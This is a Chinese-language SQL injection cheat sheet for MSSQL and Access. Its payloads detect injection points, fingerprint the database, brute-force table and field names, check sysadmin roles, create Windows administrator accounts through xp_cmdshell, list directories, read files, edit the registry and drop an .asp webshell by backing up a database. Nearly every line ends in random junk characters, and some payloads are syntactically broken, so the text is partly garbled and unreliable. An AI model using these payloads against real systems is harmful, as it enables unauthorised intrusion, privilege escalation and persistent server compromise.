1.判断是否有注入;and 1=1 ;and 1=2 `6:;*#jO,
2.初步判断是否是mssql ;and user>0 |_V i8Ly
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3.注入参数是字符'and [查询条件] and ''=' j0b?dKd
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' }HB)%C50.
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5.判断数据库系统 o:E+c_^q`
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;and (select count(*) from sysobjects)>0 mssql `$j"nP F_
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;and (select count(*) from msysobjects)>0 access b|F_]i T
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 C' x?riJ/
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 v'Y)~Kv@!
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 n_5m+
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9.(1)猜字段的ascii值(access) D<9FSxl6
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <eRE;8C-
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(2)猜字段的ascii值(mssql) 9Z}Y2:l'
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 IV$pA`|V
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10.测试权限结构(mssql) ycAQHY~n
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- tRU+6D
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- -V@vY42
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,f0|eu>
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ER0nrTlB<
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- v%O KOrJ
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;and 1=(select IS_MEMBER('db_owner'));-- sE87}Lz
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11.添加mssql和系统的帐户 ^`ah\L
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;exec master.dbo.sp_addlogin username;-- *Dx&} "
;exec master.dbo.sp_password null,username,password;-- b#;%TbDF
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^_FB .y%
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;exec master.dbo.xp_cmdshell 'net user username password ;Z]i$Vi_r
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9\9:)q
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- tU2 8l.
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 'TWZ@8h~
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12.(1)遍历目录 y8"8QH
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;create table dirs(paths varchar(100), id int) dg[&5D1Q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' A$gP: 1&m
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;and (select top 1 paths from dirs)>0 6Y4sv5G
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) rro92(y
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(2)遍历目录 =6FA(R|QU
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- jWHv9XtW
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ?.1yNO*s
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 wLn,x;;<
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ykFm$ 0m+I
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 '1'#,u!
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13.mssql中的存储过程 ;vM&se63
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xp_regenumvalues 注册表根键, 子键 fBtTJ+51}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 G 3))3]
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xp_regread 根键,子键,键值名 S ]_iobWK
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;exec xp_regread 9H^$cM9C
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3>60_:+Zb
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xp_regwrite 根键,子键, 值名, 值类型, 值 u.!}s2wT#
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;+ : C
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @smjXeFo
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xp_regdeletevalue 根键,子键,值名 4%k{vo5i
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 )"W__U0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 a=m4)tjk
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14.mssql的backup创建webshell ~kHWh8\b:
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use model =3K}]3f
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create table cmd(str image); {'O,G$Ldkr
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insert into cmd(str) values (''); MaMP7O|W
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backup database model to disk='c:\l.asp'; .W;,~.l
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15.mssql内置函数 VsIDd}~C%
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;and (select @@version)>0 获得Windows的版本号 BqoGHg4iq
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa b!lS=zIN
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;and (select user_name())>0 爆当前系统的连接用户 4i]h0_]
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;and (select db_name())>0 得到当前连接的数据库 <c;U 0! m
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16.简洁的webshell Hl"^E*9x
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use model W}6OMAbsE;
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create table cmd(str image); j Wpm"C
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insert into cmd(str) values (''); UnVYGch
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backup database model to disk='g:\wwwtest\l.asp';